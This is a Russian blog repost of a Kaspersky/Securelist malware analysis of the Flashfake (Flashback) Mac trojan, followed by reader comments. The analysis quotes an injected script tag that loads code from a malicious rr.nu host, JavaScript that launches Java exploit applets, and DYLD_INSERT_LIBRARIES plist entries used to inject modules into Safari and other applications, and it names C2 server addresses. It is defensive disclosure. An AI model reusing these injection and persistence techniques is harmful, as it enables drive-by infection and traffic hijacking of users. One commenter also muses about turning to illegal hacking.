Маканатомичка.

Всем привет!

Для посетителей этого блога – в особенности тех, кто не читает Securelist, не подписан на мой Твиттер и Фейсбук (да-да, там самое-самое важное дублируется!). Мы опубликовали, пожалуй, самый глубокий анализ Flashfake (Flashback) – того самого трояна, который недавно отметился созданием первого в истории Маковского ботнета. Да ещё какого ботнета – 700 тыс. машин! В общем, выкладываю сюда весь текст, а кому понравится – срочно подписывайтесь на Securelist.


Анатомия Flashfake. Часть I

Что такое Flashback/Flashfake?

Flashfake — это семейство вредоносных программ для Mac OSX. Первые варианты этих угроз были обнаружены в сентябре 2011 года. В марте 2012 Flashback заразил около 700 000 компьютеров по всему миру. Зараженные компьютеры объединены в ботнет, и злоумышленники могут устанавливать на них любые дополнительные вредоносные модули. Известно, что один из модулей занимается подменой трафика в браузере. Не исключено, что помимо перехвата и подмены трафика, преступники могут загружать на зараженные компьютеры и другие вредоносные модули — например для кражи данных или рассылки спама.

Нулевая стадия заражения: взломанные WordPress-блоги

С сентября 2011 до февраля 2012 года для распространения Flashfake использовалась только социальная инженерия: посетителям различных сайтов предлагалось загрузить поддельное обновление Adobe Flash Player. Таким образом, троянец распространялся в виде инсталляционных архивов с именами «FlashPlayer-11-macos.pkg», «AdobeFlashUpdate.pkg» и т.д.

Впервые применение эксплойтов для распространения Flashfake было обнаружено в феврале 2012 года: в ходе атак использовались эксплойты 2008 и 2011 годов. Эксплуатация уязвимости CVE2012-0507 впервые была отмечена в марте 2012 года. Тогда CVE2012-0507 представляла собой неисправленную уязвимость для Mac OSX, несмотря на то что компания Oracle уже выпустила собственный патч в феврале. Дело в том, что Apple не использует патчи от Oracle, и для исправления уязвимостей в Java готовит собственные. Соответствующий патч для Mac OSX, исправляющий уязвимость CVE2012-0507, был опубликован только в начале апреля.

И такая примерно двухмесячная задержка выпуска патчей является традиционной для Apple.

Название уязвимости Патч от Oracle Патч от Apple
CVE2008-5353 14.04.2009 15.06.2009
CVE2011-3544 18.10.2011 08.11.2011
CVE2012-0507 14.02.2012 03-12.04.2012

Для распространения Flashfake в марте 2012 года его авторы воспользовались услугами одной из киберкриминальных партнерских программ, предположительно российского происхождения.

«Партнерка» базируется на скрытых редиректах со множества легальных веб-сайтов по всему миру. Ориентировочно в конце февраля — начале марта 2012 года десятки тысяч сайтов, работающих под управлением WordPress, были взломаны. Каким образом они были взломаны, неизвестно. Основные версии — это использование владельцами блогов уязвимых версий WordPress и возможная установка ими плагина ToolsPack, являющегося бэкдором. Компания Websense оценивает число пострадавших сайтов в 30 000, по оценкам других компаний оно может достигать 100 000. Около 85% всех взломанных блогов находились в США.

В ходе взламывания блогов были осуществлены инжекты кода в главные страницы. В код добавлялись конструкции следующего вида:

<script src="http://имядомена.rr.nu/nl.php?p=d"></script>

В результате при посещении любого из взломанных сайтов происходило обращение к серверу-маршрутизатору партнерской программы, после чего, в зависимости от версии операционной системы и браузера, браузер пользователя скрытно перенаправлялся на другие сайты в доменной зоне rr.nu, на которых и были установлены соответствующие наборы эксплойтов для заражения.

Код сайта на WordPress с внедренной ссылкой на вредоносный скрипт

Первая стадия заражения: drive-by-download и социальная инженерия

В ходе скрытого перенаправления (пример: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg) браузер обращался к каталогам /3f/ или /7f/ на вредоносном сайте и запускал на исполнение JavaScript с вызовом Java-апплета.

Пример одного из скриптов:

if(rts != "on"){
document.write('<applet archive="rh-3.jar" code="rhcls" width="1"
height="1"></applet>');
document.write('<applet archive="cl-3.jar" code="msf/x/AppletX"
width="1" height="1"></applet>');
}

Атака производилась путем попытки исполнения четырех Jar-файлов (приложения Java). Три из них представляли собой эксплойты уязвимостей в Java, еще один был сконструирован как легальное приложение, для обмана пользователя использовался метод социальной инженерии.

Использованные уязвимости:

Каждый Jar-файл содержит в себе эксплойт к соответствующей уязвимости и исполняемый вредоносный файл, который будет извлечен и установлен в систему.

Образец части кода эксплойта к CVE2008-5353

Образец части кода эксплойта к CVE2011-3544

Образец части кода эксплойта CVE2012-0507

Если использование эксплойтов оказывается безуспешным, то происходит попытка заражения системы при помощи специального Java-апплета, пытающегося выдать себя за легальный файл, подписанный компанией Apple, и получить от пользователя права на установку в систему.

Впервые подобная схема распространения Flashfake была обнаружена в феврале 2012 года.

Злоумышленники рассчитывают, что пользователь, увидев, что приложение подписано компанией Apple, согласится на предоставление прав для доступа в систему. На самом деле файл не содержит настоящей подписи Apple: использованный сертификат является поддельным и создан киберпреступниками самостоятельно.

Часть кода поддельного сертификата

Если пользователь согласится на предоставление прав доступа, то из апплета будет извлечен и установлен в систему вредоносный файл.

Образец части кода поддельного апплета

Таким образом, в результате выполнения в пользовательском браузере любого из вышеописанных апплетов (с уязвимостями или c выданными самим пользователем правами), в систему будет установлен файл-контейнер, представляющий собой загрузчик и установщик для последующих компонентов Flashfake.

Данный файл устанавливается и запускается по пути /tmp/.sysenter (при использовании эксплойта к уязвимости CVE2012-0507 имя файла генерируется произвольно).

Схематическое изображение первой стадии заражения

Вторая стадия заражения: загрузчик первого уровня

Установленный в систему файл представляет собой контейнер формата mach-o binary, содержащий внутри себя соответственно 32- и 64-битные модули практически с идентичным функционалом.

Основными функциями такого модуля является установка коммуникации с сервером управления 1-го уровня, загрузка оттуда дополнительных модулей и их установка в систему.
После окончания работы модуль самоудаляется и более в зараженной системе не присутствует.

При запуске модуль проверяет наличие установленного в системе приложения LittleSnitch (популярный файервол для Mac OSX), набора средств для разработки приложений OSX — XCode —и антивирусных приложений VirusBarrierX6.app, iAntiVirus.app, avast!.app, ClamXav.app, а также приложений HTTPScoop.app и Packet Peeper.app. Если данные приложения обнаружены, модуль завершает свою работу и самоудаляется.

В противном случае модуль соединяется с одним из серверов управления (например, 31.31.79.87, 78.46.139.211), куда передает UUID (уникальный идентификационный номер компьютера) и дополнительную информацию о системе (версия ОС), и в ответ получает для загрузки пакет, содержащий два дополнительных компонента, зашифрованных с привязкой к UUID компьютера.

Часть кода модуля. Видны названия проверяемых приложений и адрес сервера управления

После загрузки пакета модуль извлекает из него файлы-компоненты и пытается установить их в систему:

Схема работы Flashfake на данной стадии заражения

Первым компонентом является бэкдор-загрузчик. Именно он и является основным бот-модулем и отвечает за дальнейшее взаимодействие с ботнетом и загрузку обновлений.

Установщик копирует тело бэкдора в корневой раздел домашнего каталога пользователя $HOME/ под произвольным именем, начинающимся с точки, например .null.

Для обеспечения дальнейшей работы бэкдора установщик также создает файл .plist:

Пример .plist файла

Этот файл устанавливается в каталог $HOME/Library/LaunchAgents/. Тем самым, обеспечивается автоматическая загрузка модуля бэкдора при каждом запуске системы.

Схема работы Flashfake на данной стадии

Второй устанавливаемый из Сети компонент — модуль перехвата трафика и подмены страниц в браузере.

Процедура установки данного модуля значительно изменилась в последней версии установщика Flashfake, распространявшегося при помощи уязвимости CVE2012-0507. Мы опишем именно ее.

Часть кода установщика

Установщик вызывает системную функцию запроса администраторских привилегий, ожидая от пользователя ввода имени и рутового пароля.

Запрос прав

Если пользователь введет требуемые данные, то установщик получит возможность открыть на запись приложение браузера Safari.app (Applications/Safari.app/Contents/Resources/) и запишет в него модули: один отвечает за перехват трафика и подмену страниц, второй — за загрузку первого модуля в процессе браузера. Имена данных модулей выбираются произвольно, но все они начинаются с символа «точка» и оканчиваются расширениями .png и .xsl.

Для автоматического запуска модулей установщик модифицирует содержимое файла /Applications/Safari.app/Contents/Info.plist, добавляя в него следующие строки:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string>
</dict>

В случае успешного выполнения этих действий установщик соединяется с центром управления по адресу, например 31.31.79.87/stat_d/, тем самым сообщая об успешной операции. В случае какого-либо сбоя при установке соединение произойдет с 31.31.79.87/stat_n/.

После завершения этих операций установщик перезапускает браузер Safari, чтобы изменения вступили в силу, и завершает свою работу, самоудаляясь из системы.

В случае если пользователь не введет пароль администратора и нажмет Cancel, установщик будет инсталлировать модули по другой схеме.

Сначала установщик проверяет наличие в системе приложений Microsoft Word.app, Microsoft Office 2008, Applications/Microsoft Office 2011, Skype.app. Если такие приложения обнаружены, установщик прекращает свою работу и самоудаляется.

Модуль перехвата и подмены трафика будет установлен в /Users/Shared/ с именем «.libgmalloc.dylib«.

Перед этим установщик удаляет из данного каталога файлы по команде «rm -f /Users/Shared/.*.so». Данная операция удаления проводится, вероятно, для того чтобы удалить из системы предыдущие варианты Flashfake, если такие имелись.

Затем установщик создает файл $HOME/.MacOS/environment.plist, в который записывает следующие строки:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Users/Shared/.libgmalloc.dylib</string>

Это приведет к тому, что модуль будет «хукаться» и подгружаться при запуске во все приложения.

Еще один вспомогательный компонент будет установлен в пользовательский каталог $HOME/Library/Application Support/ с произвольным именем, начинающимся с точки и с расширением .tmp.

Схема работы Flashfake на этапе инсталляции модуля перехвата и подмены трафика

По завершении инсталляции установщик соединяется с центром управления по адресу 31.31.79.87/stat_u/, сообщая об успешном заражении. После этого установщик прекращает свою работу и самоудаляется.

Продолжение следует…

Прочитать комментарии 17
Комментарии 17 Оставить заметку

    Андрей

    Действительно интересная информация, особенно она будет полезна тем кто не может подумать и определить, чему можно открывать права, а чему нельзя. И главное что пользователи Mac и тд. наконец-то поймут что антивирус просто необходим.
    Судя по описанию, данный вирус делал далеко не школьник, а высоко квалифицированный программист (в чем-то даже и гений). Я бы на месте того же Apple искал и нанимал таких людей на работу, за очень большую зарплату. Но не для того что бы они распространяли вирусы, а для того что бы искали дыры в софте. А еще было бы здорово организовать официальный международный конкурс на взлом софта Apple. Примерно как Google делал. Да и вообще я считаю что такого рода хакеры (хоть они и преступники) это лучшие дыроискатели. И таких людей нужно не искать и жестоко наказывать, а искать и предлагать исправиться. То есть прекратить незаконные действия, получить своего рода амнистию, и работать на такие организации как Касперский лаб. или на гос органы. Само собой за хорошую з/п. Просто если подумать, такого уровня хакеры, делают вирусы не для самоутверждения, а для того что-бы заработать нормальные деньги. А все почему да потому что их не заметили «большие» люди. Что еще остается делать непризнанным гениям. Правильно реализовывать себя другим способом (хакерством). У меня примерно такая же сейчас ситуация. Евгений Валентинович Касперский на мои письма не отвечает («большому» человеку нет дела до простого смертного). И что допустим остается делать. А что еще — только в хакеры. Голова работает, руки умеют, остальному научусь. Вот наверно и придется реализовывать свой талант незаконным способом. Так что не знаю как кто, можете называть хакеров негодяями, преступниками, подлецами. Но лично я их понимаю. Жизнь она одна, и не хочется прожить её в бедности.

    Андрей

    Скорее всего этот вирус создали русские, но в Америке. Слишком уж все по русски, мы от американцев сильно мышлением отличаемся. Не каждый иностранец додумается до того, что для русского обычные вещи. Да и вообще мы народ изобретательный. Прям чувствую, русских рук дело.

    Андрей

    На основе технологии данного вируса, можно сделать глобальную систему контроля. Правда выгодно это будет только ФСБ, ЦРУ и подобным. Нужно только заключить договора с Windows, Apple и тд. И мониторить всего и вся. После чего будет легче вычислить хакеров, спамеров и тд. Но есть и обратная сторона монеты. Спамом не брезгуют даже крупные компании (пример, Банк Тинькофф). Только вот теперь надо будет почтовым сервисам делить папку спам на две: спам и рекламные предложения. Все это для того что бы наказать тех кто присылает постоянно вредоносный спам, и случайно не наказать тех кто очень редко, просто пытается привлечь клиентов. Реализовать можно, дали бы добро спец службы и производители ОС. Но к сожалению делать это нельзя, особенно в России. Российские власти всегда кидаются из крайности в крайность. Стоит только запустить такую систему, буду сажать всех подряд, и сталинские репрессии покажутся цветочками. Допустим у человека маленький интернет магазин, клиентов нет, раскрутка не помогает, решил разослать рекламные предложения (своего рода спам). И что он получит,100 — 300 новых клиентов в неделю и 3-4 года условно :-).
    Так что в принципе эту технологию можно применить и в хороших целях, я бы сказал даже в благих.
    Только лаборатории касперского работы добавиться в 10 раз больше, защищали пользователей от вирусов, а придется защищать от государства. :-)

    Андрей

    Еще хотел добавить. Лично мой прогноз, Apple изживает себя. Им срочно нужны глобальные изменения, что бы держать позиции. И еще им нужно не то чтобы прислушиваться к мнению других, а сидеть, записывать и бегом все делать. Изначально, Apple нарушила баланс, пропала гармония в мире технологий. Они хотели получить все внимание себе, они его получили. Даже более чем. Люди же не выкинут свои айпады, айфоны, маки. Скоро у этих людей будет куда больше проблем с безопасностью, чем у пользователей windows. Но, есть большое но.
    У нас же теперь есть samsung со своей линейкой galaxy, да еще и в добавок Android.
    Apple осталось только ждать, когда хакеры переключат свои взоры на них, тем самым у Apple будет небольшая передышка. Вот в этот момент надо будет глобально все менять. В плане защиты я думаю им как раз поможет Лаборатория Касперского.
    Заключить контракт. И основательно, в корень, вшивать а/в Касперского.

    Сами подумайте, если люди покупают продукты Apple (а они не дешевые), то разумеется у них будут деньги и на а/в. Коммерческий ход: При покупке Iphon, ipod, ipad и тд. Антивирус Касперского с бесплатной лицензией на пол года.

    Вывод: И Apple меньше по ночам в холодном поту будет просыпаеться. И Евгений Валентинович будет очень рад. Может даже в журнале Форбс на новую ступеньку встанет.
    От старой оттолкнется, да как побежит наверх с криками: » Ура товарищи, За Родину! За Сталина!» Шутка конечно :-) Но идея не плохая и имеет место быть.

    Андрей

    Ты мне что ли?

    Андрей

    Все выходные сидел ждал, когда Евгений Валентинович появится в соц сетях, что бы успеть с ним связаться, и стоило буквально на 2 часа отвлечься на Форекс, как упустил момент. Да что-то не везет. Кстати на выходных устанавливал KIS 2012 с пробной лицензией на 540 дней :-) Если честно 2011 удобнее в использовании, да и интерфейс по приятнее, 2012 какой то не привычный. Надо еще кристал попробовать, благо на него в интернете ключей полно. Стараются люди, стараются. :-)

    glide

    Андрейка, хакер грознай, ты уроки то сделал? xD
    «Apple в холодном поту просыпается» — это пять! xDD

    Андрей

    Очень смешно. Серьезно. Уроки… Совпадение, только 2 часа назад сдал экзамен по: Разработка и эксплуатация Автоматизированных информационных систем. В пятницу сдал экзамен по: Программирование на языках высокого уровня. А завтра по: Информационная безопасность. Большая доля вероятности сдам автоматом. За особые знания.
    Андрей Сергеевич, прошу любить и жаловать. :-)

    0

    glide

    Адрей, серьезно, а что за «особые знания»? (ох, чувствую ща забанят ), так и не узнаем )

    вот еще, к слову: http://www.3dnews.ru/software-news/628051/

    0

    Андрей

    А банить та не за что. Угрозы, безопасности данного ресурса, я не представляю. Если кратко, умение анализировать информацию, постоянное совершенствование, наращивание и развитие новых идей (вполне реализуемых) будущего. В добавок база знаний, хорошая, во многих областях. Конкретнее за «особые знания» сказать больше ничего не могу. Во первых не имею права, во вторых забанят, в третьих я не самоубийца.

    0

    glide

    Андрей, ну сразу видно вы человек серьезный, а не балобол какой-то. Очень понравился ваш глубокий анализ в части политики безопасности, которую ведет Apple: только суть, без общих слов и пространных рассуждений. Вам точно в аналитики нужно сразу после школы (института). Надеюсь, Евгений Касперский все-таки вас заметит — ему в компанию такие люди нужны!

    0

    Андрей

    Прошу прощения, Вы издеваетесь?! Я не считаю себя за идиота, и сам прекрасно понимаю, что в первых четырех моих комментариях, много эмоций, неправильно сформулированных мыслей. У меня не совсем хорошо получается излагать свои мысли в печатном варианте. Так что подкол я ваш прекрасно понял. Немного обидно, но нужно уметь смеяться над собой, и признавать ошибки.

    0

    glide

    Андрей, да не парьтесь :) Весна же — надо идти пивас с пацанами пить и девченок щипать за всякое, тем более, что экзамен то у вас в кармане :) А вы тут с взрослыми скучными дядьками на форумах сидите :))

    0

    Андрей

    :-) Только вот пиво я не пью, алкоголь вообще редко употребляю, в основном по признакам и то не всегда. По поводу девчонок, у меня жизненные принципы, первая и единственная на всегда. 2 года вместе. Расставание возможно только после летального исхода другого. Я не батан, но друзей нет. Раньше были, но теперь волк одиночка. Никому нельзя верить в этой жизни. По поводу экзамена, никогда не понимал людей, которые ищут очередной повод напиться. Да и вообще я не такой как все, и все мои знакомые и родственники это знают. За оскорбление могу убить, нуждающемуся отдам последнюю рубаху. В общем ходячая загадка для психиатра. :-)

    Andrew

    Андрей, тезка мой, я прям зачитался Вашими рассуждениями, даже забыл, что на дискотеку опаздываю) Насчет экзамена, ЕГЭ на носу, а мне его, как Вам, автоматом не поставят, а жаль( Насчет Вас и Каспера — будьте понастойчивее, можно сказать, понаглее, в нашем бренном мире только такие чего-либо и добиваются)

    Андрей

    Да, вот чего, а наглости мне не хватает. Желаю Вам успешно сдать ЕГЭ. Главное не волнуйтесь и не торопитесь. Да и конечно основные формулы повторите (по математике). Когда я сдавал экзамены в 11 классе. У нас был только один ЕГЭ — по математике. ЕГЭ тогда только только вводили в Приморском крае. И наш класс оказался единственным в Приморском крае, который сдал ЕГЭ успешно. Но тогда и ЕГЭ было совсем другое, задания были сложнее раз 5 чем сейчас. Знаю, потому что знакомых сейчас подготавливаю к ЕГЭ. Мне тогда 2 балла не хватило до 5, а все из-за лени, просидел максимум 1 час и ушел. Так что учитесь на чужих ошибках, а не на своих. Удачи!

Оставить заметку